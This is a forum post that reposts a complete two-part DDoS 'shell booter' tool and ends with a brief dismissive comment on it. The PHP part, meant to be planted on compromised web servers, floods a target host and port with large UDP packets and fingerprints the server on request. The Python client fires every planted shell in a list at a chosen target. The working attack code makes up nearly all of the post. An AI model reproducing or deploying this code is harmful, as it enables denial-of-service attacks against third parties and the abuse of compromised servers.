*Sigh* since the OP is too lazy to post the code in tags, I took a minute to post it here. I honestly have no idea why Server.py is named so since it is a PHP script.
Server.py:
<?php
set_time_limit(0);
$host = $_GET['host'];
$port = $_GET['port'];
$exec_time = $_GET['time'];
$Sendlen = 65535;
$packets = 0;
ignore_user_abort(True);
if (StrLen($host)==0 or StrLen($port)==0 or StrLen($exec_time)==0){
if (StrLen($_GET['rat'])<>0){
echo $_GET['rat'].$_SERVER["HTTP_HOST"]."|".GetHostByName($_SERVER['SERVER_NAME'])."|".php_uname()."|".$_SERVER['SERVER_SOFTWARE'].$_GET['rat'];
exit;
}
echo "Parameters can not be empty!";
exit;
}
for($i=0;$i<$Sendlen;$i++){
$out .= "A";
}
$max_time = time()+$exec_time;
while(1){
$packets++;
if(time() > $max_time){
break;
}
$fp = fsockopen("udp://$host", $port, $errno, $errstr, 5);
if($fp){
fwrite($fp, $out);
fclose($fp);
}
}
echo "Send Host£º$host:$port";
echo "Send Flow£º$packets * ($Sendlen/1024=" . round($Sendlen/1024, 2) . ")kb / 1024 = " . round($packets*$Sendlen/1024/1024, 2) . " mb";
echo "Send Rate£º" . round($packets/$exec_time, 2) . " packs/s£»" . round($packets/$exec_time*$Sendlen/1024/1024, 2) . " mb/s";
?>
Client.py:
#coding:UTF-8
import urllib
print "**************************************************************"
print " PpDDoS by b3m0 "
print "**************************************************************"
print
print
ip = raw_input("ip:")
po = raw_input("port:")
ti = raw_input("seconds:")
file = open("shell.txt","r")
for line in file.readlines():
line=line.strip('\n')
data=urllib.urlopen(line+'?host='+ip+'&port='+po+'&time='+ti)
Just looks like a shitty DoS tool (I believe people call this particular type a "shell booter").
Not even written well at that.